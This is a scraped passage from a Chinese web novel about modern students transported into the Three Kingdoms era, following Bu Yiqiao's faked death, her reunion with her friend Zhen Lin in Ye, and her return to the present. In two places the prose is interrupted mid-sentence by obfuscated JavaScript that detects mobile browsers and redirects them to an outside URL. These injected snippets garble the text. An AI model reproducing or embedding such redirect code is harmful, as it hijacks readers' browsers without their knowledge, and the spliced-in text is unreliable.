话音未落,手刚抬到一半,就被步一乔一把按了下去。 “想吓人吗?不准取。” 甘宁啧了一声,满脸不耐:“难受死了!” 步一乔非但没松手,反而逼近一步,仰头直视着他那只被罩住的眼:“难受也不准取!给我老实戴着!” 甘宁被她呛得一愣,随即气笑了:“行啊你!老子千里迢迢赶来救你,你就这么报答我?” “我信中求的是苏飞,再说,你要我应的事,我不是应了么?” 甘宁顿时语塞,只咂了下舌。一旁的苏飞仍是初次见她,目光总不自觉落在她身上。 “姑娘……替代了哪位?史书上步氏女子……莫非是步练师?” “可惜,我离庐江前,刚同本尊打过照面。” “那这是……?”苏飞愈发疑惑。 “谁也没替代。”步一乔耸肩,“大概,我是此世最特别的那个。”她话锋一转,“你们呢?从江夏溜出来,黄祖没起疑?” 甘宁火气霎时窜起:“一兵一卒一袋米都没拿他的!没顺手把他脑袋捎走,已是老子慈悲!” 步一乔大笑,发出邀请:“难得逃出来,要不要跟我去邺城走走?” “你当老子跑出来干嘛的!是出来干大事的!名留青史!” “正好,袁氏大本营邺城,去把袁本初干了,保管天下闻名。” “真的?!” 见甘宁眼亮,苏飞眉头一蹙,沉声道:“临行前说好的,凡事需商量后决断。” “横竖你要送她去邺城,顺路而已。” “临行前说好的,凡事需商量后决断。”苏飞重复,语气分毫未变。 “这事儿咱不是早议过了么?” “临行前说好的,凡事需商量后决断。”第三遍,字字清晰。 “……得得得,我错了。现在商量,行么?”甘宁气势萎了半截,“咱能去邺城不?” 苏飞这才颔首:“能。” 步一乔歪头瞧着两人一来一往。平日气焰熏天的甘兴霸,在苏飞面前竟局促如此,实在有趣。 她悠悠开口,“喂,二位,我还在呢。” 甘宁瞬间收敛,扭头瞪她。步一乔却狡黠一笑,翩然坐回马车边沿。 “不过我爱看,你们继续。” “看什么看!不准看!给老子把头转过去!” “啊!要开始了吗!没事没事,当我不存在,你们继续。” “继续你大爷!统统给老子上车,走人!” * 到邺城,一路官道旁茶馆客栈不绝。三人并不急于赶路,只秉持“填饱肚子为上”的原则,但凡遇见食肆,必定要进去饱餐一顿。 饭桌上,等待上菜的间隙,步一乔突然压低声音问:“我突然想起个问题。使者和车夫都死了……谁去给曹操通风报信,说我死了呢?” 甘宁不假思索:“这有何难?随便找个人去许都递个话不就成了。” 步一乔眯起眼看他,慢悠悠道:“甘将军好聪明啊,这般妙计,我怎么就想不到呢。” “你嘲讽我?!老子从庐江一路跟你到这儿,谢谢听不到一句,你还讽刺我!” 眼看两人又要针锋相对,苏飞适时接话:“曹操细作遍布州郡。写封密函去,顺道告知使者尸身所在。” “还是苏飞思虑周全。”步一乔瞟了甘宁一眼,“不像有些人。” “你——!” 步一乔傲然轻哼,又问:“可我也‘出事’了,却不见尸首,该如何解释?” 苏飞沉吟片刻,平静道:“此事易办。留一件你的衣裳在现场,便可造出你被掳走的假象。” “唉,”步一乔轻叹一声,意有所指,“果然求人办事,得先求对人才行。” 甘宁听出她话中绵里藏针,在桌下收着力道,轻轻踢了她一下。 “你踹我?”步一乔眉梢一挑,当即不轻不重地回敬了一脚。 甘宁倒吸一口气:“我都没用力!你倒踹得实在!” “你是武将!便收了十成力,那腿脚是铁打的不成?” 苏飞见两人又斗起嘴来,只垂眸默默啜了口茶,俨然已置身事外。 见苏飞一副眼观鼻、鼻观心的模样,甘宁更是气不打一处来。他索性把筷子往碗上一搁,抱臂往椅背一靠:“行,你们俩一个唱红脸一个装哑巴,横竖都是老子里外不是人!” 步一乔却忽地笑了,方才的斗气仿佛瞬间散了,道:“哟,大将军生气啦?我看看,真生气还是假生气?” 甘宁扭过头,从鼻子里哼出一声。 “不就是说你两句嘛,你那一脚,我也没真使劲啊。”步一乔眼波流转间掠过苏飞平静的侧脸,“你看苏飞,咱们再吵下去,他怕是会嫌丢人,喝饱了直接走人。” 这话果然戳中了甘宁。 他偷眼瞥了瞥苏飞那八风不动的姿态,心里那点莫名的恼火竟也消散了大半,反倒觉得有些好笑。清了清嗓子,重新拿起筷子,状似不耐烦地挥了挥手:“吃饭吃饭!” 恰在此时,店小二端着热气腾腾的饭菜上来,三碗米饭,几碟时鲜小菜,中间一大盘油亮喷香的炙肉。 步一乔率先夹了一筷子肉,放进甘宁碗里:“喏,赔你的。这顿我请客,满意了吧?” 甘宁看着碗里的肉,嘴角控制不住地向上弯了弯,又赶紧强行压下,故作粗声道:“这还差不多!” 说完,却把那块肉迅速塞进了嘴里。 苏飞在两人之间轻轻扫视,也动了筷子。饭桌上暂时只剩下碗筷轻碰和咀嚼的声音,窗外官道上偶有车马辘辘而过,衬得这小店一隅格外安宁。 几口饭菜下肚,步一乔又想起什么,道:“说起密函和衣裳,具体怎么布置,还得细细琢磨。曹操生性多疑,假象做得不够真,怕瞒不过他。” 苏飞咽下口中食物,缓声道:“正是。衣物件需选有辨识度的,最好略作破损,沾染些许尘泥血迹,弃于现场稍远些的杂乱处。你离开江东时,可有带什么特殊物件?” “特殊?”步一乔想起怀中的青丝结,“有是有……但不能给。” 甘宁正嚼着肉,闻言瞥她一眼,含糊道:“什么东西这么金贵?比命还紧要?” 步一乔没答,只重复道:“总之不能给。” 苏飞放下筷子,看着她:“若无足够分量的信物,曹操如何能信?寻常衣物,他大可认为是你故布疑阵。” “定有别的办法。此物……决不能离身。” 甘宁见她神色不同以往,多少猜到此物定与孙权有关,管不住嘴又开起玩笑: “早跟你说不要用情太深,容易遇事不决、蒙蔽双眼。不过嘛……不给就不给!没那玩意儿,老子就不信想不出别的辙!” 苏飞也不再追问那信物本身,转而道:“既如此,便须在‘现场’与‘传闻’上多下功夫。衣物最好能有搏斗痕迹的撕裂。此外,需尽快在附近州县散播消息,言有不明人马劫杀曹使,并掳走一随行女子,引人揣测。多重佐证之下,或可弥补信物之缺。” 步一乔松了口气,感激地看了苏飞一眼:“还是苏兄思虑周全。” “老子帮你说话,你怎么不感谢我啊!”甘宁凶神恶煞地质问。 步一乔瞪他一眼,“没前半句话,我肯定感谢你。” 甘宁:“哼!” 步一乔:“哼!” 苏飞:“……” * 在邻近郡县处理完情报事宜后,三人再次启程。这一日,甘宁在马车里酣睡,步一乔与苏飞并坐车前。 “一直忘了问,我们到哪儿了?”步一乔开口。 “合肥。”苏飞答道。 “竟已入安徽了……我身亡的消息,恐怕也会传回江东吧。” 苏飞侧目看向步一乔,点了点头:“若孙权得知你殒命合肥,会如何?” “依眼下江东的局势,他也做不了什么。” 家中尚未安定,孙权根本无力分兵北上。 “不过依我之见,”苏飞沉吟道,“此事或许会成为孙权日后五次攻打合肥的缘由之一。” 步一乔闻言静默片刻,后道:“孙吴本有北伐之志,合肥又是其必争之地,未必与我有关。” “也是。”苏飞轻应一声。 车轱辘发出轻响,一路北上,已临近开春之际,不过风中还有些许凉意。 “之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845575|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就想问,苏飞你为什么这么聪明?” 苏飞仍旧面无表情:“因为兴霸睡着,所以来找我斗嘴吗?” “岂敢,”步一乔笑道,“是真心请教。初见甘宁时,他同我说了些你们在后世的事。他的情形我大致知晓,可你……似乎很不一样。” 苏飞沉默片刻。 “高一那年我们同班。兴霸辍学后,我们仍有往来。” “原来如此。” “那天,高考刚结束。兴霸来考场外接我,说要带我去散散心。” 步一乔想起甘宁曾提过的穿越始末,试探道:“于是……去了网吧?” 苏飞依然面无表情:“嗯。半夜饿了出门觅食,兴霸非要骑车兜风,车速失控,刹车失灵,撞上了电线杆。油箱爆炸,两人当场殒命。” “可甘宁告诉我,是你非要同他比速度?”步一乔嘴角微动,“依你的性子,那该是他编的借口罢。” 苏飞目视前方,没有回答。 步一乔看着他:“不恨他么?寒窗十二年,好不容易熬过高考,却这样结束。” 苏飞静默良久。 “兴霸他……从小独自长大。父母离异,各自成家,他只能在亲戚间辗转,寄人篱下。他抽烟喝酒打架,不爱读书,但我知道,他本不想那样,只是环境逼他如此。” 步一乔没有作声,等他说下去。 “我劝过他回校读书,他也想。可学费、住宿费,都是一大笔钱,没人替他出。” “父母呢?各自成家,便不管他了?” “嗯。是死是活,分开后再未过问。小时候还能靠亲戚,长大了,亲戚也有自家孩子要顾,自然顾不上他了。” 难怪当初甘宁说,在那儿他只是个无家可归的野人,露宿街头,死了也没人知道。 “那你呢?”步一乔又问,“为何始终陪在他身边?是因为可怜他么?” “嗯。” 这坦率的回答让步一乔一时怔住。 “这种时候……不该说是因为兄弟情义,想守护他、陪伴他么?” “那是后来的事。起初,的确只是可怜他。” “呃……好吧。” 穿越到乱世虽不算幸事,但对他们而言却是另一种重生。 “送我到邺城后,你们打算怎么办?谋个差事,还是浪迹天涯?” “乱世之中,由不得我们。兴霸去哪儿,我去哪儿。” “他肯定会用同样的话回答你。要不,按照史书来?去东吴,成为一骑挡十千的勇猛大将。” “兴霸去哪儿,我去哪儿。”苏飞目光望向远处,“我的任务,便是陪在他身边,直到这第二条命的最后一天。” —————————————————— 江东,吴郡。 孙权读罢密函,身形猛地一晃,信纸从指间飘落。他踉跄退后两步,跌坐在冰冷的石阶上。 “主公!”鲁肃慌忙上前搀扶。 “这封密函……何时送到的?” 鲁肃俯身拾起密函,神色沉痛:“两刻钟前,方至都督府上。若依信中所言,步姑娘在合肥遇害,消息先传至许都,曹操知悉后再修书寄来……恐怕事发至今,已过去数月了。” 孙权绝望地闭上眼,四肢发抖。 “数月……她竟已离世数月……而我……竟一无所知……” 良久,他睁开眼,眼底已是一片沉冷。 “依子敬之见,曹操此举,意欲何为?” 鲁肃沉吟道:“步姑娘遇害,曹操专程来信告知,绝非哀悼。其一,试探我等反应,看江东是否因此生乱;其二,许是料定都督……主公,会怒而兴兵。” “怒而兴兵?”孙权冷笑一声,“他料得倒准。” “主公三思啊。”鲁肃正色道,“眼下山越未平,内部未稳,实非北上良机,断不可中计。” 孙权沉默不语。他望向厅外暮色,眼前浮现出临别前,连声再见也不曾说,头也不回的步一乔。 “子敬,我答应要接她回家,与她再见……但你说的对。传令各部:加紧整训水军,广布哨探于江淮。至于合肥——” 鲁肃还未答话,却见孙权缓缓站起身。 “终有一日,我会去。但不是现在。” “此生不取合肥,我孙权,誓不罢休!” 81. 平生意 建安六年,初春,冀州邺城。 官渡一役惨败后,袁氏声势如大厦倾颓。邺城虽是北方雄镇,街巷深处却尽是为生计所困的百姓。 史册之中,此时的甄宓应正于袁府侍奉婆母,其夫袁熙则远镇幽州蓟县,夫妻分隔。 “千里迢迢寄信与她,就只回我一个字。如今我又跨越千里来寻她——”步一乔边说边活动手腕,故作凶狠,“瞧我如何‘收拾’她。” 甘宁在一旁翻了个白眼,低声嘟囔:“我从江夏到庐江,再跟到这儿,说甚么了?” “甘将军近日似乎对我颇有微词?”步一乔侧目。 “你才发觉?” “莫非……因为三人行,必有一灯泡,我耽误了什么事儿?” “灯泡?哪儿有灯泡?” 甘宁像个未通情事的少年,全然未懂步一乔的意思。 苏飞静立一旁,看着甘宁懵懂的脸,又对上步一乔戏谑的眉眼,嘴角抽了抽。 “来弟弟,那边的包子铺,三个肉馅的。” 甘宁接下步一乔递来的钱,竟什么也没问便去了。 估计是饿了吧。 等待间隙,两人站在街边,看河上游船。 “若邺城的这位好友不愿跟你回去,怎么办?”苏飞问道。 “嗯,一定是这样。”步一乔轻笑道,“甄霖性子野,对历史的痴迷程度比我强多了,定然会留下来。” 若说步一乔是东吴历史的研究者,甄霖则是曹魏历史的深度研究者。若她当真替代甄宓,定然会留下,日后入住后宫,母仪天下。 甘宁捧着三个热腾腾的包子返回,三个人和睦地品尝起来。 “想凭一己之力,改写东汉的婚姻制度?” 声音从身后传来,步一乔先是一愣,随即笑容如花绽开。她转身望去,只见甄霖正双手叉腰,笑盈盈地站在街心。 “霖霖!” 甄霖也笑得眉眼弯弯。两人提起裙摆,小跑着奔向对方,在街市中央紧紧相拥。 “这就是姑娘家之间那种自然而然的亲密吗?” 听见身旁甘宁的喃喃,苏飞似乎会错了意,伸出手一把将甘宁揽进了怀里。 “喂!你干什么!” “不是想要拥抱么?” “抱你个头!这还在大街上呢,快松开!” “哦。” 苏飞松开手,脸上依旧没什么表情。甘宁则一边整理衣衫,一边忿忿地瞪了他一眼。 “真的不想要吗?” “不想!!!” 甘宁张牙舞爪的样子还未稍褪,步一乔已挽着甄霖走了回来。 “介绍一下护送我至此的两位。这位一脸‘老子天下第一’的,是甘宁。这位看起来不太想理人、实际上……也不太想理人的是苏飞。” 她又看向甄霖。 “这位,就是我的大学同学兼室友兼好友,甄霖。” 甘宁抱臂哼了一声,算是打过招呼。苏飞则微微颔首,按着甘宁的头,强迫其打招呼。 甄霖倒是落落大方,对二人福了一礼:“一路护送这麻烦精,辛苦二位了。” “谁麻烦精?”步一乔挑眉。 “谁应谁是。”甄霖回以一笑,随即正色道,“此地不宜久叙。袁府虽今非昔比,耳目依旧不少。随我来。” 她领着三人穿过几条僻静巷陌,最终来到一间看似普通的民宅小院。院门合上,隔绝了外间的市井杂音。 “暂时安全,今晚你们便在此过夜吧。” “这是谁家?”步一乔问。 甄霖答:“领你大摇大摆走进来,你说是谁家。” 步一乔一愣,指向仅一墙之隔、隐约可见飞檐斗拱的华宅:“袁府已经落魄到住这等偏院了?我们不该在那边才对么?” “那才是袁府主宅。这院子,是甄夫人特意拨给我独居的。” “甄夫人?等等……你是说,你没有‘成为’甄宓?你还……你还是你?” “不然呢?”甄霖回头看她,嘴角噙着笑,“我醒来时便在此院中,甄宓见我孤苦,又念在同宗,便收留了我,许我在此安身。” 步一乔想不到,没有替代任何人的,除了自己,还有甄霖。 一旁的甘宁听得愈发糊涂,忍不住挠头:“所以甘宁和苏飞死在咱们面前,真就只是……巧合?” * 夜深了,甄霖将甘宁和苏飞安顿在同一间厢房,自己则与步一乔同宿。 屋内,甄霖吹熄烛火,两人并排躺在榻上。步一乔侧过身,在昏暗里望着甄霖模糊的轮廓。 “我是来带你回家的。当然,如果你想的话。” “你知道回去的方法?” 步一乔点头,“穿越与死亡有关,虽然除了吴郡孙氏的地牢,我暂且没试过其他地方是否可以顺利回去。” “难怪每次从纪念馆回宿舍,都一副累了几天的样子。” 甄霖在黑暗里笑了笑,目光望着帐顶。 “我打算留下来。” 步一乔闻言一怔,看向甄霖:“为什么?” “一手资料,不要白不要。等我陪甄宓走完此生,就回去。” “……那你的曹姓男友呢?” “已经分手了,与我再无瓜葛。” “分手了?什么时候的事?” “原本约好去北山露营,出发前夜大吵一架。我一气之下买了去邯郸的车票,想一个人静静。没想到,静到这儿来了。” 步一乔愈发不安,忙问:“穿越与死亡有关……你那时,没出什么事吧?” 甄霖浅浅一笑:“嗯。” “‘嗯’是什么意思?难道你——” 见步一乔眼圈发红,甄霖轻轻叹了口气,伸手揉了揉她的脸颊。 “还活着,不是很好吗?” 黑暗中,步一乔的手微微发颤,心痛得厉害。 “发生了什么?” “在邯郸的路上等红绿灯,一辆车突然失控冲上来……然后,我就在这里醒来,躺在这间屋子的榻上。甄宓守在我旁边,说我昏迷了三天三夜。” 甄霖说的理所当然,步一乔猛地坐起身,几度开口,皆说不出话。 “这么重要的事,你为什么不在信里告诉我?” “然后让你担心我吗?”甄霖笑着也坐起身,抚摸她的发顶,“我能碰到你,能呼吸,能感觉到冷热,就证明我没事,何必让你多一份牵挂呢?” 步一乔无奈苦笑,“我真服了你……话说方式变得那么快,适应力挺强嘛。” 两人在昏暗中相视一笑。那笑容里有许多未尽之言,但她们都懂。 步一乔伸手抱住甄霖。怀抱里的身体是温热的,心跳沉稳有力。 “东吴和曹魏相隔太远,定要保重身体啊。” “你才是。”甄霖轻轻拍着她的背,“比上次见时又瘦了。” “我本来就很瘦嘛。” 静默片刻,甄霖忽然轻声说:“一乔,等甄宓的人生走完……我们千年后再见。现代的事,就拜托你了。” 步一乔抱得更紧了些,眼泪无声地渗进对方衣襟。 “好。” * 月色渐深,确认步一乔已熟睡后,甄霖悄悄掀开被角,披衣出了房门。 院中石磨旁坐着个人影,正望着天上那轮明月出神。 “两位大人还没歇息呢。” 苏飞闻声转头,颔首致意:“兴霸刚睡下,我出来透透气。甄姑娘也睡不着?还是……要回那边去了?” “老夫人夜里睡得浅,得回去看看。”甄霖拢了拢衣袖,抬眼看他,“为何有此一问?” “为何要骗步一乔?你分明就是袁府的甄夫人,她不是你的好友吗?” “正因为是好友,才要骗她。”甄霖略微垂首,“一乔与我同修历史,我们都清楚甄宓最后落得什么结局……我怎敢让她知道。” 文昭甄皇后甄宓,因失宠被曹丕赐死,死后被发覆面、以糠塞口,结局凄惨。 “那就跟步一乔回去。”苏飞说。 “可甄宓已经死了。”甄霖沉了口气,“她救了我,守了我三天三夜,说我像极了她,说她对不起我,求我一定替她活下去,照顾好袁家与甄家。然后,就在我眼前……悬梁自尽。” 苏飞怔住,一时说不出话来。 “袁家人将她认作我,当作是来历不明的外客,草草埋葬。而我……从此就成了甄夫人。” 替她活着,更活成了她。 “一乔没替代任何人,与我们不同。她是自由的,而我们要继续别人的路,在知晓结局的情况下,闷着头继续走。” “谁说的?”苏飞站起身,拍了拍衣摆上的夜露,“你可知步一乔为何在此?” “不是为见我而来?” “曹操挟天子之令, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16853315|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼迫孙权与周瑜交出小乔。江东群臣为此争执不休,张昭一派以势相逼,周瑜又岂能割舍所爱?进退维谷之际,是步一乔主动应下,愿代小乔北上许都。” “怎会如此……” “她先前与兴霸有些交情,便暗中传信,托我们自庐江一路随行,伺机制造意外,让曹操以为‘小乔’已遭不测,趁机脱身。” “那你们二人……又是如何从江夏脱身的?” “黄祖向来目中无人,我们在与不在,他根本不在意。” “没想一乔她……自己的事,竟对我只字未提。” 夜色如墨,甄霖垂在袖中的手微微收紧,又缓缓松开。 “她总是这样,总把旁人看得比自己重。也太自信,涉身危险,也觉得定能化险为夷。” 苏飞默然片刻,望向远处隐在夜色里的屋脊。 “正因如此,兴霸在收到密函后,义无反顾前去相助。” “嗯……谢谢你们。” * 休整几日,步一乔三人在邺城畅游一番,终是到了分别之时。 “回去后,莫忘我的托付。”甄霖抬手,轻轻拂去步一乔肩头的浮尘。 “放心吧。休学的手续,帮你把信带给阿姨……都记在心里了。”步一乔顿了顿,轻声叹道,“宿舍只剩我一个人,想想倒有些冷清。” 甄霖闻言不由轻笑:“不是早已搬去与吴教授同住了么?怎会是一个人。” 时间太久,步一乔都快忘了自己和吴朔教授正处于同居状态。 要告诉甄霖教授的真实身份吗?还是算了吧,现状已经够复杂,未来路长,等乱世尘埃落定,再慢慢讲述与她听。 “二位将军到了江东,务必守住这个秘密。” 甘宁沉着脸不说话,只有苏飞点头应下,问:“真的不和我们一道,从吴郡回去吗?” 步一乔摇头:“若是被人发现,可就功亏一篑了。” “你还会回来吗?”甘宁忽然开口。 步一乔沉默片刻,摇了摇头:“不知道。我的任务已经完成,大概……不会再来了。” 拯救孙策的计划终究失败,江东局势已无大变,她也完成了“救小乔”的承诺。这里,似乎再没有她必须回来的理由。 棺铺里,老板与伙计瑟缩在门外,偷眼瞧着屋内两男两女围着一口棺椁说着些让人听不懂的话,心里盘算着是否该报官来抓人。 “好好干啊!等我回去第一件事,就是翻史书,看看咱们甘大将军留下了多少威风事迹。” “哼!保管让你大吃一惊!等着瞧吧!” 步一乔咧嘴一笑,转身推开堆放棺椁的小房间,在众人惊愕的目光中走进去。 “两分钟后再进来,如果我还在的话……别笑我。如果我走了,”她盯着甄霖的双眼,“穿越与死亡有关,若是想回家,不妨一试。” 甄霖愣了一瞬,清楚步一乔是出于昨晚自己与苏飞的对话,特意告知。 “嗯,我记住了。” 房门合上,阴冷的铺子内安静无声。甄霖倒数着时间,两分钟一到立马推开门。她是不敢确信如此便能穿越,生怕步一乔在里面害怕。 “一乔……” 阴暗的室内空空如也。 * 说不害怕,是不可能的。且不说棺椁铺子能回到后世什么地方,邯郸她可从没去过,身无分文、也没有身份证,祈祷一切顺利吧。 步一乔缓缓睁开眼。 眼前车水马龙,华灯璀璨,不远处的路牌上应该是此条道路的名称。 步一乔从地上站起身,拍了拍屁股上的灰尘。 “曹魏大道,建安路……是邯郸临漳没错了。接下来,先找个电话吧。” 沿着路牌指引,步一乔一路打听到警局,借电话一用。上次回来,强迫自己熟烂于心的号码,也是派上用场了。 可电话提示音响了好久,都没人接听,步一乔又泛起不安。 难不成自己离开的这段时间,又发生了什么意外?! 好在电话即将自动挂断前,终于接通。但,是个中年妇女的声音。 “请问,是吴朔教授的电话吗?” “你打错了。” 电话被挂断。步一乔举着手机,看着频幕上的号码整愣许久,而后又拨通另一个号码。 这次接电话的倒是个男性。 “喂?是……你吗?” 82. 奈何天(现) “喂?是……你吗?” 电话那头安静了许久,步一乔举着电话的手逐渐发麻。 临行前背下的那串号码,总有一个数字记不真切。她试了好几遍才拨出这通电话,可心头那抹隐隐的不安始终挥之不去,总忍不住去想,自己离开江东之后,孙权……会不会又出什么意外。 电话里传来一声极轻的叹息,像是隔着千山万水,又像是近在耳畔。 “……是我。你在哪儿?” 步一乔喉头一哽,竟不知该先答什么。她顿了顿,才低声说:“嗯。刚到。” 又是短暂的沉默。她几乎能听见电波那头细微的电流声,还有他若有似无的呼吸。 “我来接你,待在那儿等我。” “从苏州过来吗?现在吗?”她有些迟疑。 电话那头安静了一瞬。 “笨蛋,我怎么会不知道你在哪儿。我在过来的路上,等我。” 听筒里传来一阵嘈杂的背景音,像是仪表盘发出的声音。步一乔突然喉头哽咽得难受,眼眶酸胀。 “别怕,我很快到。” “嗯……” 她抬起眼望向窗外,视线还是模糊了。一切和离开前似乎没什么不同,可又分明有什么东西,在她心里悄然融化了,流淌出温热的、酸涩的细流。 “……孙权。”她忽然叫了他的名字。 电话那头静了静。 “嗯。” 他应得很轻,却沉甸甸地落进她耳里。 步一乔揉了揉鼻尖,轻声道:“我见到他了,在江东。和史书里写的不太一样,不是大家口中的‘渣权’,是个认真对待所有人事物,认真记住每个人说过的话的君王。” 安静的街道零星驶过几辆车,车灯的光晕由远及近,漫进她湿润的视线里。 “可我食言了……我逃走了。说好要陪他走到最后,我还是……没能狠下心,去反抗一切,留在那里。” 远处,那辆熟悉的车缓缓停靠在路灯下。车门打开,一道身影走下车,握着手机,朝她的方向回身望来。 听筒里,他的声音同时响起: “我知道。” 电话挂断,步一乔归还手机道谢后,旋即转身奔向马路边。 步一乔跑过街道,脚步却在那道身影几步之外,不由自主地慢了下来。 路灯的光笼着他,他站在那里,没有急着上前,只是静静看着她。 步一乔忽然有些无措,等到时反复练习过的见面词,此刻都哽在喉间,一个字也吐不出来。 最终还是他先开了口。 “饿不饿?” 只是寻常一问,却让她鼻尖猛地一酸。她点点头,又摇摇头。 他向前一步,抬手,指尖极轻地拂过她眼下。那里或许有泪痕,或许只是光影。不过想触碰她,非常想。 “先回酒店吧。” “嗯!” * 回到酒店房间,门一关上,步一乔便急急进屋。 “教授,有电脑吗?我想看看——” 话未说完,吴朔已将一个温热的纸袋轻轻塞进她手里。 “先吃点东西。你脸色不好,需要休息。” “我不饿,我——” “听话。” 他声音放得很柔,手指掠过她额前微乱的发丝。步一乔所有追问的话都堵在了嘴边,只能看着他转身去调试空调温度,又为她倒了杯温水。 她草草喝了几口粥,心思完全不在食物上。吴朔一直陪在身边,倒不如说,一直盯着她。 没手机,没电脑,没史书,一刻看不到历史,步一乔心着急得难受。 “教授,我真的想看——” “明天。”他走过来,很自然地牵起她的手,往浴室带,“累了这么久,先洗个热水澡吧。需要我帮你吗?” “我自己来吧。” 热水氤氲,雾气弥漫了整个浴室。 步一乔站在花洒下,温热的水流冲刷着身体的疲惫,却冲不散心底越来越重的不安。 太反常了。就像是故意不让自己去看似的。 她匆匆擦干身体,换上他准备好的干净衣物。拉开门,雾气涌出。 吴朔就站在浴室门外不远处,背对着她,听到声音,他转过身。 “洗好了?”他走过来,很自然地用干毛巾帮她擦拭发尾的水珠,“头发要吹干,不然会头疼。” “嗯……” 动作温柔细致,一如往常。 可步一乔心里的疑窦却像藤蔓一样疯长。她抓住他手腕,仰起脸直视他: “教授,历史是不是真的出了大问题?孙权他……后来到底怎么了?” 吴朔沉默地看着她。许久,他极轻地叹了口气,将她连同宽大的毛巾一起揽进怀里。 “后天有场历史舞台剧,我是文学指导,有两张票,想一起吗?” “什么内容?” “剧名《如梦江东》,主角孙权。” “可我现在想看的是史料,是真实的记载!” “正因为你想知道‘真实’,我才觉得,或许换一种方式‘看见’,会更好。” “什么意思?”步一乔蹙眉,“难道史书上记载的……” “这次的舞台剧根据真实历史演绎,看完以后,你会明白的。” 吴朔终于停下了擦拭的动作,将毛巾搭在臂弯,双手轻轻捧住她的脸。嘴巴微张,却没道出话,在步一乔发问前,吻住她。 “我好想你……” 低喃的话语擦过唇瓣,渗入呼吸。这个吻很长,长到步一乔几乎要忘记刚才的焦急。直到氧气快要耗尽,吴朔才稍稍退开,指腹擦去她唇瓣上的水渍。 “对不起……没有你,我果然不行……” “什么?” 他没再回答,没再作声,直到激烈的浪潮将步一乔卷入昏沉的睡眠,他才终于停歇,将她轻轻拢在怀里,满脸愁容。 “没有你在……一切都搞砸了。” * 趁着吴朔还在睡,步一乔悄摸走他的手机,快速搜索:孙权生平简述。 “十八岁继承祖业,联刘抗曹、夺取荆州、称帝建国……和原本的历史一模一样啊。” 既然毫无变化,教授到底在隐瞒什么? 两人驾车离开邯郸,慢悠悠地返回苏州。赶在舞台剧开始前,完成了甄霖交代的事情。 毕竟是内部票,安排的位置视野刚刚好。步一乔忐忑不安地等待开场,吴朔坐在身侧,给她腿上搭了条毯子。 “此前穿越,是为了拯救孙策。眼下目标失败,也成功救下小乔,你还会回去吗?” 步一乔摇头,“我在,只会吧历史搞得一团糟。” 反正历史走在正轨上,没必要再去更改它的航道,如今盛世太平,一切圆满,便是好。 【剧目开始】 【公元229年,孙权在武昌称帝,国号“吴”】 剧场内的灯光暗了下去。 舞台中央,扮演孙权的中年演员背身而立,身着绛紫王袍,身姿不算魁梧。 “父兄之业,如山坠于我肩。” “江东六郡,是烈火,亦是寒冰……我接住的,究竟是传国玉玺,还是悬颅之索?” “那年十八,外有曹操、袁绍,内有反叛、山贼,我虽为万人之上的江东之主,却无人知我心有多寂寞。” 步一乔望着台上的演员,明知那不是孙权,却被感染力颇深的演技,幻视到了她熟知的那个人。 剧场陷入黑暗,唯有乐声低回,似长江水呜咽。大幕拉开,并非宏大的战争场面,而是一幅静谧的江南春景:桃花灼灼,溪水潺潺。 年轻的孙权,一袭青衫,与一位布衣少女立于桃树下。 少女折下一枝桃花,递给孙权,道:“仲谋,此去经年,桃花再开时,你可还会在树下等我?” 青年孙权郑重接过,道“天地为鉴,江水为誓。孙仲谋此生,非卿不娶。这江东之主若连一人都守不住,又何谈守住一方山河?” 观众席里,一片感动声中,唯有一人震惊到神情呆滞。 步一乔迟缓地看向身旁专注在舞台上的男人,而后收回视线。 灯光骤变,暖春化为寒冬。少女换上远行的斗篷,孙权攥紧她的手,眉宇间皆是痛楚。 少女:“我去许都,不是为人质,是为江东争一线生机。莫要挂念,忘了我们曾经的誓言吧,定要守护你的江东。若有来生,我想与你做一对平凡夫妇,相守一生。” 孙权:“等我。拿下合肥,贯通南北,我必接你回来!” 少女回首,嫣然一笑,眼中似有泪光,随即没入阴影 “好。我等你……拿下合肥,带我回家。” 历史的大幕轰然拉开。 赤壁大胜后的意气风发,金戈铁马,志在必得。舞台上,孙权挥剑指向“合肥”二字,光芒万丈。 第一次,失败。 第二次、第三次,挫折渐生,但信念未改。 第四次,戏剧高潮。张辽兵马浩浩荡荡,孙权踉跄败退。 第五次,孙权已生华发,“合肥”二字依然矗立。他久久凝视,最终只是一声混着无尽苍凉与嘲弄的长叹。 现场啜泣声一片,步一乔也哭了,唯独一人没哭。 故事发展到晚年。 一片素白中,老年孙权独自坐在空旷的宫殿中央,身边没有嫔妃,没有儿孙环绕。只有几个老迈的臣子,远远跪着,奏请立嗣事宜。 老臣匍匐道:“陛下,国不可无储君,江山不可无后继啊!恳请大王……” 老年孙权缓缓抬手打断。他望着虚空,仿佛那里有一个只有他能看见的身影。 “孤的江山……孤自己守。” “孤答应过的事……只剩这一件还没做到。” 他低头,看着自己布满皱纹的双手,那双手曾想握住天下,最终却连一座城池、一个人都握不住。 “合肥……合肥啊……” 他反复念叨着“合肥”,两个字不再是军事目标,而成了一道咒语,一个心结,一座隔开他与毕生所爱的、永不可逾越的坟茔。 最后一束光打下。孙权躺在榻上,气息微弱。幻觉中,桃花纷飞,那个布衣少女的身影在光影中浮现,依旧年轻,笑容温 